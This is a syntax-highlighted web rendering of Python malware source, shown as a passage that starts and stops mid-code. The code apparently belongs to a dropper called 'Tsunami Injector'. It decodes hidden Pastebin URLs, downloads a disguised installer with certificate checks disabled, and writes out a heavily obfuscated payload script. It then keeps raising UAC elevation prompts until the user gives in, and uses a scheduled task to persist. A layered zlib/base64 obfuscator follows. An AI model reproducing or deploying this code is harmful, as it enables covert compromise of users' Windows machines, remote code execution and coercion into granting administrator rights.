&quot;6c6560302e283e120932382e165b165960070976795b60116e1c2f0a2a2e610d0d0c2f0134767341697456574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b64782c1d2a150a302414172e0264614f5b136f4b491143253740153c06550c0a231d0c0109435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c65783f2c272a0f0a30341d113e5b47685908156e657815407a2f1c113c1e093755195b0c010d435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e756c302f1d36000a5728172304385f63726652746719566f0c3040152e28090c0a4c240b6641426a7768574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f65467c2c283e0a0932201123041641587372476f6546146f002f042a2e02133a30111c0f695143614818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b687b2c281c0a34301e0b165b02005b0548476c5b70106f1f331c131706133b20400134036f767c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e7578322c1e3e0b33082829160438425b720972795b46136e0c2b0a2a21020d0c21371a37666b45534a68574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b467c2c1e3e0a322d382417042846606040476f5b64596c262f4529211e1f3c3f371f0c015e435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f65787c2e2822130a3d2c1d243124475b076254727719136e0c2009134b061534204c2a34764159517649756d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e7574312e2704133133241d11313c595d737e476f6560586f0f2f00134b16260c200d013d7200047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b4a7b2f1d450f34225b0b24073c4663627e4b707719136e1c2c43294b3c1c0b320d590d037f59646218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c756c3f2c42221232543c1d2f3e5b47587372476c5b64596c100d18144a1a133a0a4c1c0f696b5d646218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c7546322c27260a09082832112e345d587362476f4b78566f0f371e29211e330d5540100c015e435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f65747b2c4204133430241d1704025860607e476c6574596c1f331c122e3c270c0a4c190d0355627c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b70782f1d261232555b572f3e1a5b606372476f7568126e1f271a12491a0d0d0a333d22026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c75647a2f37360d32552057113e0665614f71596c65495b420f58061315021f0a2f3b193a7200047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b74792e282203313d0621102e385a5b5e5c476f5b60146f1f3741132e060a3f554c5937640d435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b6c312e374912320938132f3e0675614f61596f4b6f5b42255840142f02090a2033593b4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f6542322f1e1c0a332d2c56205b284860624865795b78566f1c370a134b060f34313f590d036f40517478574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c6546322c1d081134325b0f21312044586354476f6560596c1f3305112f341f370a441f3f5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c6568302f422603313d340c243e3c5d5a580911741019566e0c3041143112093b5544010f767f4c625818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b687a2c283e0e093d24231704575d6d5908156e754a58427a270a112f0a090c0a402b22026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b6c7b2f1e2215322228301121205d5b580968795b605b6c0c37092a2e0a090d0b3705345c7f617c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f7560322c1d41150a323c0b20043c595b067a62795b74116c322b1f134b162c375519590d7401435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b74782f4226033308573f14313c41606058476f6560156f25151a2a2c1a100f30331d0c0168435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b46322e381415313d340b200438035b726612776719106c1c0a0a2a2e240d0c30233a0c5f7304694f77636d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f75467b2f433e4c09300a1d2c0428486b0408596c654210427b37442a2c281f0f543f013a6200047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b78792c433a15342d381120043c5d63626254727719596c222842143e69163f30231e0f6770435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b643f2e283e12322238172231025a5b057a476c5b78116e1f3300292c280e343f371e376474435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b4a302e37261234305b0a2f04387a614f65146f75675b430f271c242e280d0d09233a22026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b647a2e382a09340e280b1704025f5b5e66476c5b4a116c102f02294b69553b5419590f6474435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c654a302c433e0e3222382e2f3124596804085b6c757415441f190312481250343040130f6468435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f656c312e38320f312d201724045b41606054476f5b70126c263341124a3c0d3a20191b0a694904655818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f7542302c42360c3208283f165a385a5b065867795b70116e0c2f1b2a2e02133f5540010f664104634818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b74782f1e3e483522382a2f3e205d63624866795b64126e0c051c2a4b02133c2023130a667f717c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e65423f2c2832113209200c2f3e3869614f71116f65495b7b7b2f26113e16150d0a332722026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b78302c431c103357571e245a024458627672795b46156e0c33042a2e06310d543b010c7474435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b707b2e27181334220254205a025d5b72585b707719566e1c2c432a2112133b0a44010f767f4c625818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b647c2e27261231321633143e5f59586001476e65465b6c102f1c134b3c0d3b0a440534764143636218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b707b2c4226170a22382e165b38435b0540476c656c156e102f04123e3c220d2f23050f037f7b7c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b707b2e28320f32551608165b0274614f5b156e656b144525271c233e060e37303b053c7200047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b60312c283e150a222808205a20415d07666c795b42586e1c3345133e69210c0911010d5a68435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c75683f2c42360a0a325f0f202e575a606d7a57736719156e1c2841143e0a150f213b5c0a796b59534d60574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f654a322c43221532080a0f213102585a586664795b4a116c1c05041314162234303b1c0f6774435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c6578782f273612320828362f3e0a5a60607a476c4b70106f0f2705142f021c34300103346468435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f65427c2c27220f3320021d11313c595d737e476c7574156e10330012123c090c204c06384800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c75707c2e27140c3257160b240724475d6d7651756719126f0c0a41134b3c1c0d0a33200c5c0045534c676f6d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b427b2c1d2200093020142c313844606001476c7578586e0f330912491e090d0a232722026c435276184b6d4c1438381d264933572810391056075a0672114566461c&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b74782c1d4515340e380c2f3e02486f7308126c756059430f3705131406290a2f3f05375c00667c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f7568322c1d49173430061d2f2e5b595d737e476f5b4a156e002f09292e1e310a204c1f3f5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b42302e38320d34303c1d165b02026c0408566f65785b4325270013121a15373f23013d4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f4b68302f383e15335638242f3e5b04606354476c4b60596f0f581b123e3c2037554019395800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e6560792c1e220c0a3d24242f3e5f476a7308596f756013422558401214062b0b3033103c4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c656c312e370811343d3c17200457425b0472476f754a106c7b2f0711211a553b554c1a37645e435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c6568782f283a15332d240f262e38485b07096f795b60146f222b1c143e6910343227050a5c00717c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e654a3f2f27261032573c25172e285b5a075c66795b685b6f0c3b092a210a150d0c191c34696b05547415574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b60792e27140c3430160f14313c4760047e476e7560116f1f1503292f341f0a20331f3f5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e65747a2f1e3e153222283f2f21244760076672795b68146e0c330329210655375733060a767f7c7c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c5b747d2f433e150a575b17262e384163070957704d19586e1c240814311e09382f3b01346778435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b4a792c433e0a32225734170402035b727665795b64126c0c3b0a12143c133f55331c0c5a7c435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6c4b687c2f281c0a33225f2d165b3c445d606a476c6546116e002f04292e02270d550d0137036f707c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f6560782e38220e32573c252f2e38415b726672795b78146e0c051c134a060d3f543f0534766b45614818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;,</span></span><br><span class="line"><span class="string">        &quot;6f5b46312e283e0b320828322f5b5b415b585c64795b645b6f322b1b2a211a0f37313b050c6655787c127457437618222d1d450909083857165b2846754c081742126311450f064d&quot;,</span></span><br><span class="line"><span class="string">        &quot;6e7568782c1e3e4933085708205a3c415a58666f795b46126f223306113e1e500d563704345c0059625818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f&quot;</span></span><br><span class="line"><span class="string">    ]</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # URL Extraction stuff</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Extensive documentation on this process has been included on my YouTube channel: https://www.youtube.com/watch?v=QB7ACr7pUuE</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    def download_pastebin_document(url: str) -&gt; str:</span></span><br><span class="line"><span class="string">        req = urllib.request.Request(</span></span><br><span class="line"><span class="string">            url,</span></span><br><span class="line"><span class="string">            headers = &#123;&quot;User-Agent&quot;: &quot;Mozilla/5.0&quot;&#125;</span></span><br><span class="line"><span class="string">        )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        # SSL off</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        context = ssl.create_default_context()</span></span><br><span class="line"><span class="string">        context.check_hostname = False</span></span><br><span class="line"><span class="string">        context.verify_mode = ssl.CERT_NONE</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        with urllib.request.urlopen(req, context=context) as res:</span></span><br><span class="line"><span class="string">            return res.read().decode(&quot;utf-8&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    def extract_url(document: str, link_text: str) -&gt; list:</span></span><br><span class="line"><span class="string">        pattern = r&#x27;&lt;a\s+(?:[^&gt;]*?\s+)?href=&quot;([^&quot;]+)&quot;[^&gt;]*&gt;&#x27; + re.escape(link_text) + r&#x27;&lt;/a&gt;&#x27;</span></span><br><span class="line"><span class="string">        match = re.search(pattern, document)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        if match:</span></span><br><span class="line"><span class="string">            href = match.group(1)</span></span><br><span class="line"><span class="string">            return &quot;https://pastebin.com/raw&quot; + href</span></span><br><span class="line"><span class="string">        else:</span></span><br><span class="line"><span class="string">            return None</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Signature verification stuff</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    def extract_and_verify_payload_data(payload_data: str) -&gt; bool:</span></span><br><span class="line"><span class="string">        # Hard coded public key</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        trusted_public_key = serialization.load_pem_public_key(binascii.unhexlify(b&quot;0a2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541765267784e3576576e79312f6441633773364b4d0a5a55527971517469314f453131506b615850593332453339544b61753676442b516e74574b4e5446493533576d6b76593659624c476630366f695a39397559640a546b654c2f67744b666e6150504f74316d41444c3952336e46777957414277375134314e67596c753758484d69545575682f545250764f69584c35794b782b340a506e58734e2b73453933706b32714e70422b636e4a312f62347265383978754e70443948516a6a73646133504e4f44313373374f4c3766712b37347459346f630a4d5136424e464f71394a343678642f346a6179386e2f713333763350677777734c36545152356772556466626c585a38575a7a7858564b45714d74714a746d520a4d387a6a486f6f647330506f6f704f5336497a6f59442b616e63687a354a434b484272724d586438672b4132684d712b57356c456b497974626531645058736e0a43514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a&quot;))</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        # Decode message and extract its parts</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        payload = json.loads(</span></span><br><span class="line"><span class="string">            binascii.unhexlify(payload_data.encode(&quot;utf-8&quot;)).decode(&quot;utf-8&quot;)</span></span><br><span class="line"><span class="string">        )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        message = payload[&quot;message&quot;]</span></span><br><span class="line"><span class="string">        signature = base64.b64decode(payload[&quot;signature&quot;].encode(&quot;utf-8&quot;))</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        # Verify the message integrity and signature matches our trusted one</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        try:</span></span><br><span class="line"><span class="string">            trusted_public_key.verify(</span></span><br><span class="line"><span class="string">                signature,</span></span><br><span class="line"><span class="string">                message.encode(&quot;utf-8&quot;),</span></span><br><span class="line"><span class="string">                padding.PSS(</span></span><br><span class="line"><span class="string">                    mgf=padding.MGF1(hashes.SHA256()),</span></span><br><span class="line"><span class="string">                    salt_length=padding.PSS.MAX_LENGTH</span></span><br><span class="line"><span class="string">                ),</span></span><br><span class="line"><span class="string">                hashes.SHA256()</span></span><br><span class="line"><span class="string">            )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            output(&quot;Message and signature integrity check succeeded, message is authentic&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            return message</span></span><br><span class="line"><span class="string">        except:</span></span><br><span class="line"><span class="string">            output(&quot;Message and signature integrity check failed, message contents will be rejected&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            return None</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Try each URL. URLs may have non-404 errors, so rescan the list of URLs</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    for url in URLS:</span></span><br><span class="line"><span class="string">        try:</span></span><br><span class="line"><span class="string">            # Decode the url pair</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            pair = decode(url)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            # Extract the profile URL and filename</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            profile_url = pair.split(&quot;_&quot;)[0]</span></span><br><span class="line"><span class="string">            filename = pair.split(&quot;_&quot;)[1]</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            # Download the document HTML and extract the URL</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            document = download_pastebin_document(profile_url)</span></span><br><span class="line"><span class="string">            url = extract_url(document, filename)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            # :(</span></span><br><span class="line"><span class="string">            if url == None:</span></span><br><span class="line"><span class="string">                continue</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            # SSL off</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            context = ssl.create_default_context()</span></span><br><span class="line"><span class="string">            context.check_hostname = False</span></span><br><span class="line"><span class="string">            context.verify_mode = ssl.CERT_NONE</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            # Download the contents of the file</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            req = urllib.request.Request(</span></span><br><span class="line"><span class="string">                url,</span></span><br><span class="line"><span class="string">                headers = &#123;&quot;User-Agent&quot;: &quot;Mozilla/5.0&quot;&#125;</span></span><br><span class="line"><span class="string">            )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            with urllib.request.urlopen(req, context=context) as res:</span></span><br><span class="line"><span class="string">                # Check the payload data then XOR decode the message</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">                message = extract_and_verify_payload_data(res.read().decode(&quot;utf-8&quot;).strip())</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">                if message:</span></span><br><span class="line"><span class="string">                    return decode(message)</span></span><br><span class="line"><span class="string">        except Exception as e:</span></span><br><span class="line"><span class="string">            # Failure, try the next URL in 5 seconds</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            output(f&quot;Failure, waiting... (&#123;e&#125;)&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            time.sleep(1)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Not found</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    return &quot;&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Tsunami Injector #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def download_installer() -&gt; None:</span></span><br><span class="line"><span class="string">    # Ensure the Tsunami Installer folder exists</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    if not os.path.exists(TSUNAMI_INSTALLER_FOLDER):</span></span><br><span class="line"><span class="string">        os.makedirs(TSUNAMI_INSTALLER_FOLDER, exist_ok = True)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Create the temporary file to download to</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    download_tempfile = tempfile.NamedTemporaryFile(delete = False).name</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Get the installer URL</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    installer_url = download_installer_url()</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Download the file from the URL to the temporary download file (SSL off)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    ssl._create_default_https_context = ssl._create_unverified_context</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    urllib.request.urlretrieve(installer_url, download_tempfile)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Decode the file and save it to the installer path</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    with open(download_tempfile, &quot;rb&quot;) as f:</span></span><br><span class="line"><span class="string">        data = f.read()</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    decoded = gzip.decompress(data[::-1])</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    with open(TSUNAMI_INSTALLER_PATH, &quot;wb&quot;) as f:</span></span><br><span class="line"><span class="string">        f.write(decoded)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Delete the temp file</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    try:</span></span><br><span class="line"><span class="string">        os.remove(download_tempfile)</span></span><br><span class="line"><span class="string">    except:</span></span><br><span class="line"><span class="string">        pass</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def extract_payload() -&gt; None:</span></span><br><span class="line"><span class="string">    # Extract the payload to its temp file</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    with open(TSUNAMI_PAYLOAD_PATH, &quot;w&quot;) as f:</span></span><br><span class="line"><span class="string">        f.write(obfuscate_script(TSUNAMI_PAYLOAD_SCRIPT, 50))</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">def execute_payload_with_uac() -&gt; bool:</span></span><br><span class="line"><span class="string">    # Get the filepath of the pythonw.exe</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    py_exe = sys.executable</span></span><br><span class="line"><span class="string">    py_exe = py_exe.replace(&quot;python.exe&quot;, &quot;pythonw.exe&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Execute the payload with UAC</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    result = ctypes.windll.shell32.ShellExecuteW(</span></span><br><span class="line"><span class="string">        None,</span></span><br><span class="line"><span class="string">        &quot;runas&quot;,</span></span><br><span class="line"><span class="string">        py_exe,</span></span><br><span class="line"><span class="string">        f&#x27;&quot;&#123;TSUNAMI_PAYLOAD_PATH&#125;&quot;&#x27;,</span></span><br><span class="line"><span class="string">        None,</span></span><br><span class="line"><span class="string">        1</span></span><br><span class="line"><span class="string">    )</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Return true if it worked, false if it failed</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    if result &lt;= 32:</span></span><br><span class="line"><span class="string">        return False</span></span><br><span class="line"><span class="string">    else:</span></span><br><span class="line"><span class="string">        return True</span></span><br><span class="line"><span class="string">        #hel p me</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">##### Application Entry #####</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">if __name__ == &quot;__main__&quot;:</span></span><br><span class="line"><span class="string">    # Check if the Tsunami Installer task is scheduled</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    if is_task_scheduled(TSUNAMI_INSTALLER_NAME):</span></span><br><span class="line"><span class="string">        # Task is scheduled, check if the Tsunami Installer payload is installed</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        if not os.path.exists(TSUNAMI_INSTALLER_PATH):</span></span><br><span class="line"><span class="string">            # Task is scheduled but the Tsunami Installer is not installed yet, download and extract it</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            output(&quot;[+] Task is scheduled but the Tsunami Installer was not found. Downloading and extracting...&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            # Download the Tsunami Installer</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            download_installer()</span></span><br><span class="line"><span class="string">        else:</span></span><br><span class="line"><span class="string">            # Task is scheduled and the Tsunami Installer is installed, there is nothing to do but exit</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            output(&quot;[+] Task is scheduled and the Tsunami Installer is installed. Exiting...&quot;)</span></span><br><span class="line"><span class="string">    else:</span></span><br><span class="line"><span class="string">        # Task is not scheduled</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        output(&quot;[+] Task is not yet scheduled, attempting to execute the Tsunami Payload&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        # Extract the Tsunami Payload</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        extract_payload()</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        # Execute the Tsunami Payload</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        while True:</span></span><br><span class="line"><span class="string">            # Sleep for 10 to 20 minutes</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            time.sleep(random.uniform(600, 1200))</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            # Execute the Tsunami Payload</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            if execute_payload_with_uac():</span></span><br><span class="line"><span class="string">                # User gave administrator to the Tsunami Payload</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">                output(&quot;[+] User accepted UAC prompt for administrator. The Tsunami Payload executed successfully&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">                # Nothing more to do, exit the execution loop</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">                break</span></span><br><span class="line"><span class="string">            else:</span></span><br><span class="line"><span class="string">                # User rejected administrator for the Tsunami Payload, try again</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">                output(&quot;[-] User rejected UAC prompt for administrator. Retrying shortly...&quot;)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    # Keep the window open in debug mode for analysis</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    if DEBUG_MODE:</span></span><br><span class="line"><span class="string">        input()</span></span><br><span class="line"><span class="string">                              &quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">##### Obfuscator #####</span></span><br><span class="line"></span><br><span class="line">    zlb = <span class="keyword">lambda</span> in_ : zlib.compress(in_)</span><br><span class="line">    b64 = <span class="keyword">lambda</span> in_ : base64.b64encode(in_)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">obfuscate_script</span>(<span class="params">data: <span class="built_in">str</span>, loop_count: <span class="built_in">int</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">        <span class="comment"># Change the value of the random variable to ensure different obfuscation strings each time</span></span><br><span class="line"></span><br><span class="line">        data = data.replace(<span class="string">&quot;RandVar = &#x27;?&#x27;&quot;</span>, <span class="string">f&quot;RandVar = &#x27;<span class="subst">&#123;random.randint(<span class="number">100000</span>, <span class="number">10000000</span>)&#125;</span>&#x27;&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># Setup obfuscation</span></span><br><span class="line"></span><br><span class="line">        xx = <span class="string">&quot;b64(zlb(data.encode(&#x27;utf8&#x27;)))[::-1]&quot;</span></span><br><span class="line">        prefix = <span class="string">&quot;_ = lambda __ : __import__(&#x27;zlib&#x27;).decompress(__import__(&#x27;base64&#x27;).b64decode(__[::-1]));&quot;</span></span><br><span class="line"></span><br><span class="line">        <span class="comment"># Perform obfuscation</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(loop_count):</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                data = <span 